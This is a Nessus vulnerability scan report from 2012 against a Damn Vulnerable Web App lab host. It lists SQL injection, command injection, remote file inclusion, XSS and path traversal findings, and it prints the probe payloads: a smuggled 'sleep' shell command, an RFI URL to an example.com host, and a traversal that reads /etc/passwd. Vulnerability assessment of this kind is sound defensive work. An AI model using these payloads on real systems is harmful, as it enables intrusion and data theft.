Nessus Report

Report

12/Mar/2012:11:49:05 GMT

Table Of Contents

Vulnerabilities By Host

192.168.150.131

Scan Information

Start time:	Mon Mar 12 11:42:18 2012
End time:	Mon Mar 12 11:49:05 2012

Host Information

IP:	192.168.150.131
OS:	Linux Kernel 2.6 on Ubuntu 9.10 (karmic)

Results Summary

Critical	High	Medium	Low	Info	Total
0	3	2	1	4	10

Results Details

80/tcp

39469 - CGI Generic Remote File Inclusion

Synopsis

Arbitrary code may be run on the remote server.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a remote file from a remote server and execute arbitrary commands on the target host.

See Also

http://en.wikipedia.org/wiki/Remote_File_Inclusion

http://projects.webappsec.org/Remote-File-Inclusion

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

High

CVSS Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF	CWE:98
XREF	CWE:78
XREF	CWE:434
XREF	CWE:632
XREF	CWE:73
XREF	CWE:473
XREF	CWE:801
XREF	CWE:714
XREF	CWE:727

Ports

tcp/80

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to web code injection :

+ The 'page' parameter of the /dvwa/vulnerabilities/fi/. CGI :

/dvwa/vulnerabilities/fi/.?page=http://InxO1OhW.example.com/

-------- output --------
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>:  include(http://InxO1OhW.example.com/) [<a href='functio
n.include'>function.include</a>]: failed to open stream: no suitable wra
pper could be found in <b>/var/www/dvwa/vulnerabilities/fi/index.php</b>
 on line <b>35</b><br />
<br />
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
------------------------
```

44967 - CGI Generic Command Execution (time-based)

Synopsis

It may be possible to run arbitrary code on the remote web server.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to execute arbitrary commands on the remote host.
Note that this script uses a time-based detection method which is less reliable than the basic method.

See Also

http://en.wikipedia.org/wiki/Code_injection

http://projects.webappsec.org/OS-Commanding

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

High

CVSS Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF	CWE:78
XREF	CWE:77
XREF	CWE:20
XREF	CWE:74
XREF	CWE:713
XREF	CWE:722
XREF	CWE:727

Ports

tcp/80

```
Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to arbitrary command execution (time based) :

+ The 'ip' parameter of the /dvwa/vulnerabilities/exec/ CGI :
```

```
/dvwa/vulnerabilities/exec/ [submit=submit&ip=%20;%20x%20%7C%7C%20sleep%
2021%20%26]

-------- output --------

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://w [...]

<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<title>Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Bru [...]

[...]
------------------------
```

11139 - CGI Generic SQL Injection

Synopsis

A web application is potentially vulnerable to SQL injection.

Description

By providing specially crafted parameters to CGIs, Nessus was able to get an error from the underlying database. This error suggests that the CGI is affected by a SQL injection vulnerability.
An attacker may exploit this flaw to bypass authentication, read confidential data, modify the remote database, or even take control of the remote operating system.

See Also

http://en.wikipedia.org/wiki/SQL_injection

http://www.securiteam.com/securityreviews/5DP0N1P76E.html

http://www.securitydocs.com/library/2651

http://projects.webappsec.org/SQL-Injection

http://www.owasp.org/index.php/Guide_to_SQL_Injection

Solution

Modify the relevant CGIs so that they properly escape arguments.

Risk Factor

High

CVSS Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF	CWE:89
XREF	CWE:20
XREF	CWE:77
XREF	CWE:209
XREF	CWE:203
XREF	CWE:717
XREF	CWE:810
XREF	CWE:713
XREF	CWE:722

XREF	CWE:727
XREF	CWE:751
XREF	CWE:801

Ports

tcp/80

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to SQL injection :

+ The 'username' parameter of the /dvwa/vulnerabilities/brute/ CGI :

/dvwa/vulnerabilities/brute/?password=&username='+convert(int,convert(va
rchar,0x7b5d))+'&Login=Login

-------- output --------


<pre>You have an error in your SQL syntax; check the manual that corresp
onds to your MySQL server version for the right syntax to use near 'conv
ert(int,convert(varchar,0x7b5d)) '' AND password='d41d8cd98f00b204e98009
98ec' at line 1</pre>
------------------------
```

47831 - CGI Generic Cross-Site Scripting (comprehensive test)

Synopsis

The remote web server is prone to cross-site scripting attacks.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings of malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML and script code to be executed in a user's browser within the security context of the affected site. These XSS are likely to be 'non-persistent' or 'reflected'.

See Also

http://en.wikipedia.org/wiki/Cross_site_scripting#Non-persistent

http://www.nessus.org/u?9717ad85

http://projects.webappsec.org/Cross-Site+Scripting

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:79
XREF	CWE:80
XREF	CWE:81
XREF	CWE:83
XREF	CWE:20
XREF	CWE:74

XREF	CWE:442
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:811
XREF	CWE:751
XREF	CWE:801
XREF	CWE:116
XREF	CWE:692
XREF	CWE:87
XREF	CWE:85
XREF	CWE:86
XREF	CWE:84

Ports

tcp/80

```
Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to cross-site scripting (comprehensive test) :

+ The 'txtName' parameter of the /dvwa/vulnerabilities/xss_s/ CGI :

/dvwa/vulnerabilities/xss_s/ [txtName=<<<<<<<<<<foo"bar'204>>>>>&mtxMess
age=&btnSign=Sign Guestbook]

-------- output --------
<br />

[...] book_comments">Name: <<<<<<<<<<foo"bar'204>>>>> <br />Message:  <br /></div>
<br />
------------------------
```

39467 - CGI Generic Path Traversal

Synopsis

Arbitrary files may be accessed or executed on the remote host.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings and are affected by directory traversal or local files inclusion vulnerabilities.
By leveraging this issue, an attacker may be able to read arbitrary files on the web server or execute commands.

See Also

http://en.wikipedia.org/wiki/Directory_traversal

http://cwe.mitre.org/data/definitions/22.html

http://projects.webappsec.org/Path-Traversal

http://projects.webappsec.org/Null-Byte-Injection

http://www.nessus.org/u?4de3840d

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

XREF	CWE:22
XREF	CWE:21
XREF	CWE:632
XREF	CWE:813
XREF	CWE:715
XREF	CWE:723
XREF	OWASP:OWASP-AZ-001

Ports

tcp/80

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to directory traversal :

+ The 'page' parameter of the /dvwa/vulnerabilities/fi/. CGI :

/dvwa/vulnerabilities/fi/.?page=../../../../../../../../etc/passwd%00ind
ex.html

-------- output --------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
------------------------
```

47830 - CGI Generic Injectable Parameter

Synopsis

Some CGIs are candidate for extended injection tests.

Description

Nessus was able to to inject innocuous strings into CGI parameters and read them back in the HTTP response.
The affected parameters are candidates for extended injection tests like cross-site scripting attacks.
This is not a weakness per se, the main purpose of this test is to speed up other scripts. The results may be useful for a human pen-tester.

Solution

n/a

Risk Factor

Low

References

XREF	CWE:86

Ports

tcp/80

```
Using the POST HTTP method, Nessus found that :
```

```
+ The following resources may be vulnerable to injectable parameter :

+ The 'txtName' parameter of the /dvwa/vulnerabilities/xss_s/ CGI :

/dvwa/vulnerabilities/xss_s/ [txtName=gigtcq&mtxMessage=&btnSign=Sign Gu
estbook]

-------- output --------
<br />

[...] v><div id="guestbook_comments">Name: gigtcq <br />Message:  <br /></div>
<br />
------------------------
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner.
It shall be reasonably quick even against a firewalled target.
Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Ports

tcp/80

```
Port 80/tcp was found to be open
```

10662 - Web mirroring

Synopsis

Nessus crawled the remote web site.

Description

This script makes a mirror of the remote web site(s) and extracts the list of CGIs that are used by the remote host.
It is suggested that you change the number of pages to mirror in the 'Options' section of the client.

Solution

n/a

Risk Factor

None

Ports

tcp/80

```
The following CGI have been discovered :

Syntax : cginame (arguments [default value])

/dvwa/vulnerabilities/csrf/ (password_new [] Change [Change] password_conf [] )
/dvwa/vulnerabilities/xss_s/ (btnSign [Sign Guestbook] txtName [] mtxMessage [] )
/dvwa/vulnerabilities/sqli_blind/ (id [] Submit [Submit] )
/dvwa/instructions.php (doc [readme] )
/dvwa/vulnerabilities/exec/ (submit [submit] ip [] )
/dvwa/vulnerabilities/xss_r/ (name [] )
/dvwa/vulnerabilities/upload/ (MAX_FILE_SIZE [100000] Upload [Upload] uploaded [] )
/dvwa/vulnerabilities/fi/. (page [include.php] )
/dvwa/vulnerabilities/sqli/ (id [] Submit [Submit] )
/dvwa/phpinfo.php (=PHPE9568F34-D428-11d2-A769-00AA001ACF42 [] =SUHO8567F54-D428-14d2-A76...)
/dvwa/vulnerabilities/view_source_all.php ()
/dvwa/vulnerabilities/view_source.php ()
/dvwa/vulnerabilities/brute/ (username [] Login [Login] password [] )
```

```
PHP script discloses physical path at /dvwa/vulnerabilities/fi/?D=A (/var/www/dvwa/
vulnerabilities/fi/index.php)
Extraneous phpinfo() script foun [...]
```

33817 - CGI Generic Tests Load Estimation (all tests)

Synopsis

Load estimation for web application tests.

Description

This script computes the maximum number of requests that would be done by the generic web tests, depending on miscellaneous options. It does not perform any test by itself.
The results can be used to estimate the duration of these tests, or the complexity of additional manual tests.
Note that the script does not try to compute this duration based on external factors such as the network and web servers loads.

Solution

n/a

Risk Factor

None

Ports

tcp/80

```
Here are the estimated number of requests in miscellaneous modes
for one method only (GET or POST) :
[Single / Some Pairs / All Pairs / Some Combinations / All Combinations]

on site request forgery                 : S=2          SP=2          AP=2          SC=2
 AC=2
SQL injection                           : S=792        SP=1656       AP=1656       SC=2136
 AC=2136
unseen parameters                       : S=1155       SP=2415       AP=2415       SC=3115
 AC=3115
local file inclusion                    : S=33         SP=69         AP=69         SC=89
 AC=89
web code injection                      : S=33         SP=69         AP=69         SC=89
 AC=89
XML injection                           : S=33         SP=69         AP=69         SC=89
 AC=89
format string                           : S=66         SP=138        AP=138        SC=178
 AC=178
script injection                        : S=2          SP=2          AP=2          SC=2
 [...]
```

40406 - CGI Generic Tests HTTP Errors

Synopsis

Nessus encountered errors while running its generic CGI attacks.

Description

Nessus ran into trouble while running its generic CGI tests against the remote web server (for example, connection refused, timeout, etc). When this happens, Nessus aborts the current test and switches to the next CGI script on the same port or to another web server. Thus, test results may be incomplete.

Solution

Rescan with a longer network timeout or less parallelism for example, by changing the following options in the scan policy :
- Network -> Network Receive Timeout (check_read_timeout)
- Options -> Number of hosts in parallel (max_hosts)
- Options -> Number of checks in parallel (max_checks)

Risk Factor

None

Ports

tcp/80

```
Nessus encountered :
```

```
- 1 error involving arbitrary command execution (time based, intrusive) checks :
 . reading the status line: errno=1 (operation timed out)
- 1 error involving SQL injection (2nd order) checks :
 . reading the status line: errno=1 (operation timed out)
```

Vulnerabilities By Plugin

11139 (1) - CGI Generic SQL Injection

Synopsis

A web application is potentially vulnerable to SQL injection.

Description

By providing specially crafted parameters to CGIs, Nessus was able to get an error from the underlying database. This error suggests that the CGI is affected by a SQL injection vulnerability.
An attacker may exploit this flaw to bypass authentication, read confidential data, modify the remote database, or even take control of the remote operating system.

See Also

http://en.wikipedia.org/wiki/SQL_injection

http://www.securiteam.com/securityreviews/5DP0N1P76E.html

http://www.securitydocs.com/library/2651

http://projects.webappsec.org/SQL-Injection

http://www.owasp.org/index.php/Guide_to_SQL_Injection

Solution

Modify the relevant CGIs so that they properly escape arguments.

Risk Factor

High

CVSS Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF	CWE:89
XREF	CWE:20
XREF	CWE:77
XREF	CWE:209
XREF	CWE:203
XREF	CWE:717
XREF	CWE:810
XREF	CWE:713
XREF	CWE:722
XREF	CWE:727
XREF	CWE:751
XREF	CWE:801

Hosts

192.168.150.131 (tcp/80)

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to SQL injection :

+ The 'username' parameter of the /dvwa/vulnerabilities/brute/ CGI :
```

```
/dvwa/vulnerabilities/brute/?password=&username='+convert(int,convert(va
rchar,0x7b5d))+'&Login=Login

-------- output --------


<pre>You have an error in your SQL syntax; check the manual that corresp
onds to your MySQL server version for the right syntax to use near 'conv
ert(int,convert(varchar,0x7b5d)) '' AND password='d41d8cd98f00b204e98009
98ec' at line 1</pre>
------------------------
```

39469 (1) - CGI Generic Remote File Inclusion

Synopsis

Arbitrary code may be run on the remote server.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a remote file from a remote server and execute arbitrary commands on the target host.

See Also

http://en.wikipedia.org/wiki/Remote_File_Inclusion

http://projects.webappsec.org/Remote-File-Inclusion

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

High

CVSS Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF	CWE:98
XREF	CWE:78
XREF	CWE:434
XREF	CWE:632
XREF	CWE:73
XREF	CWE:473
XREF	CWE:801
XREF	CWE:714
XREF	CWE:727

Hosts

192.168.150.131 (tcp/80)

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to web code injection :

+ The 'page' parameter of the /dvwa/vulnerabilities/fi/. CGI :

/dvwa/vulnerabilities/fi/.?page=http://InxO1OhW.example.com/

-------- output --------
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>:  include(http://InxO1OhW.example.com/) [<a href='functio
n.include'>function.include</a>]: failed to open stream: no suitable wra
pper could be found in <b>/var/www/dvwa/vulnerabilities/fi/index.php</b>
 on line <b>35</b><br />
<br />
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
------------------------
```

44967 (1) - CGI Generic Command Execution (time-based)

Synopsis

It may be possible to run arbitrary code on the remote web server.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to execute arbitrary commands on the remote host.
Note that this script uses a time-based detection method which is less reliable than the basic method.

See Also

http://en.wikipedia.org/wiki/Code_injection

http://projects.webappsec.org/OS-Commanding

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

High

CVSS Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF	CWE:78
XREF	CWE:77
XREF	CWE:20
XREF	CWE:74
XREF	CWE:713
XREF	CWE:722
XREF	CWE:727

Hosts

192.168.150.131 (tcp/80)

```
Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to arbitrary command execution (time based) :

+ The 'ip' parameter of the /dvwa/vulnerabilities/exec/ CGI :

/dvwa/vulnerabilities/exec/ [submit=submit&ip=%20;%20x%20%7C%7C%20sleep%
2021%20%26]

-------- output --------

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://w [...]

<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<title>Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Bru [...]

[...]
------------------------
```

39467 (1) - CGI Generic Path Traversal

Synopsis

Arbitrary files may be accessed or executed on the remote host.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings and are affected by directory traversal or local files inclusion vulnerabilities.
By leveraging this issue, an attacker may be able to read arbitrary files on the web server or execute commands.

See Also

http://en.wikipedia.org/wiki/Directory_traversal

http://cwe.mitre.org/data/definitions/22.html

http://projects.webappsec.org/Path-Traversal

http://projects.webappsec.org/Null-Byte-Injection

http://www.nessus.org/u?4de3840d

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

XREF	CWE:22
XREF	CWE:21
XREF	CWE:632
XREF	CWE:813
XREF	CWE:715
XREF	CWE:723
XREF	OWASP:OWASP-AZ-001

Hosts

192.168.150.131 (tcp/80)

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to directory traversal :

+ The 'page' parameter of the /dvwa/vulnerabilities/fi/. CGI :

/dvwa/vulnerabilities/fi/.?page=../../../../../../../../etc/passwd%00ind
ex.html

-------- output --------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
------------------------
```

47831 (1) - CGI Generic Cross-Site Scripting (comprehensive test)

Synopsis

The remote web server is prone to cross-site scripting attacks.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings of malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML and script code to be executed in a user's browser within the security context of the affected site. These XSS are likely to be 'non-persistent' or 'reflected'.

See Also

http://en.wikipedia.org/wiki/Cross_site_scripting#Non-persistent

http://www.nessus.org/u?9717ad85

http://projects.webappsec.org/Cross-Site+Scripting

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:79
XREF	CWE:80
XREF	CWE:81
XREF	CWE:83
XREF	CWE:20
XREF	CWE:74
XREF	CWE:442
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:811
XREF	CWE:751
XREF	CWE:801
XREF	CWE:116
XREF	CWE:692
XREF	CWE:87
XREF	CWE:85
XREF	CWE:86

XREF CWE:84

Hosts

192.168.150.131 (tcp/80)

```
Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to cross-site scripting (comprehensive test) :

+ The 'txtName' parameter of the /dvwa/vulnerabilities/xss_s/ CGI :

/dvwa/vulnerabilities/xss_s/ [txtName=<<<<<<<<<<foo"bar'204>>>>>&mtxMess
age=&btnSign=Sign Guestbook]

-------- output --------
<br />

[...] book_comments">Name: <<<<<<<<<<foo"bar'204>>>>> <br />Message:  <br /></div>
<br />
------------------------
```

47830 (1) - CGI Generic Injectable Parameter

Synopsis

Some CGIs are candidate for extended injection tests.

Description

Nessus was able to to inject innocuous strings into CGI parameters and read them back in the HTTP response.
The affected parameters are candidates for extended injection tests like cross-site scripting attacks.
This is not a weakness per se, the main purpose of this test is to speed up other scripts. The results may be useful for a human pen-tester.

Solution

n/a

Risk Factor

Low

References

XREF CWE:86

Hosts

192.168.150.131 (tcp/80)

```
Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to injectable parameter :

+ The 'txtName' parameter of the /dvwa/vulnerabilities/xss_s/ CGI :

/dvwa/vulnerabilities/xss_s/ [txtName=gigtcq&mtxMessage=&btnSign=Sign Gu
estbook]

-------- output --------
<br />

[...] v><div id="guestbook_comments">Name: gigtcq <br />Message:  <br /></div>
<br />
------------------------
```

10662 (1) - Web mirroring

Synopsis

Nessus crawled the remote web site.

Description

This script makes a mirror of the remote web site(s) and extracts the list of CGIs that are used by the remote host.
It is suggested that you change the number of pages to mirror in the 'Options' section of the client.

Solution

n/a

Risk Factor

None

Hosts

192.168.150.131 (tcp/80)

```
The following CGI have been discovered :

Syntax : cginame (arguments [default value])

/dvwa/vulnerabilities/csrf/ (password_new [] Change [Change] password_conf [] )
/dvwa/vulnerabilities/xss_s/ (btnSign [Sign Guestbook] txtName [] mtxMessage [] )
/dvwa/vulnerabilities/sqli_blind/ (id [] Submit [Submit] )
/dvwa/instructions.php (doc [readme] )
/dvwa/vulnerabilities/exec/ (submit [submit] ip [] )
/dvwa/vulnerabilities/xss_r/ (name [] )
/dvwa/vulnerabilities/upload/ (MAX_FILE_SIZE [100000] Upload [Upload] uploaded [] )
/dvwa/vulnerabilities/fi/. (page [include.php] )
/dvwa/vulnerabilities/sqli/ (id [] Submit [Submit] )
/dvwa/phpinfo.php (=PHPE9568F34-D428-11d2-A769-00AA001ACF42 [] =SUHO8567F54-D428-14d2-A76...)
/dvwa/vulnerabilities/view_source_all.php ()
/dvwa/vulnerabilities/view_source.php ()
/dvwa/vulnerabilities/brute/ (username [] Login [Login] password [] )


PHP script discloses physical path at /dvwa/vulnerabilities/fi/?D=A (/var/www/dvwa/
vulnerabilities/fi/index.php)
Extraneous phpinfo() script foun [...]
```

11219 (1) - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner.
It shall be reasonably quick even against a firewalled target.
Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Hosts

192.168.150.131 (tcp/80)

```
Port 80/tcp was found to be open
```

33817 (1) - CGI Generic Tests Load Estimation (all tests)

Synopsis

Load estimation for web application tests.

Description

This script computes the maximum number of requests that would be done by the generic web tests, depending on miscellaneous options. It does not perform any test by itself.
The results can be used to estimate the duration of these tests, or the complexity of additional manual tests.
Note that the script does not try to compute this duration based on external factors such as the network and web servers loads.

Solution

n/a

Risk Factor

None

Hosts

192.168.150.131 (tcp/80)

```
Here are the estimated number of requests in miscellaneous modes
for one method only (GET or POST) :
[Single / Some Pairs / All Pairs / Some Combinations / All Combinations]

on site request forgery                 : S=2          SP=2         AP=2         SC=2
 AC=2
SQL injection                           : S=792        SP=1656      AP=1656      SC=2136
 AC=2136
unseen parameters                       : S=1155       SP=2415      AP=2415      SC=3115
 AC=3115
local file inclusion                    : S=33         SP=69        AP=69        SC=89
 AC=89
web code injection                      : S=33         SP=69        AP=69        SC=89
 AC=89
XML injection                           : S=33         SP=69        AP=69        SC=89
 AC=89
format string                           : S=66         SP=138       AP=138       SC=178
 AC=178
script injection                        : S=2          SP=2         AP=2         SC=2
 [...]
```

40406 (1) - CGI Generic Tests HTTP Errors

Synopsis

Nessus encountered errors while running its generic CGI attacks.

Description

Nessus ran into trouble while running its generic CGI tests against the remote web server (for example, connection refused, timeout, etc). When this happens, Nessus aborts the current test and switches to the next CGI script on the same port or to another web server. Thus, test results may be incomplete.

Solution

Rescan with a longer network timeout or less parallelism for example, by changing the following options in the scan policy :
- Network -> Network Receive Timeout (check_read_timeout)
- Options -> Number of hosts in parallel (max_hosts)
- Options -> Number of checks in parallel (max_checks)

Risk Factor

None

Hosts

192.168.150.131 (tcp/80)

```
Nessus encountered :

  - 1 error involving arbitrary command execution (time based, intrusive) checks :
    . reading the status line: errno=1 (operation timed out)
  - 1 error involving SQL injection (2nd order) checks :
    . reading the status line: errno=1 (operation timed out)
```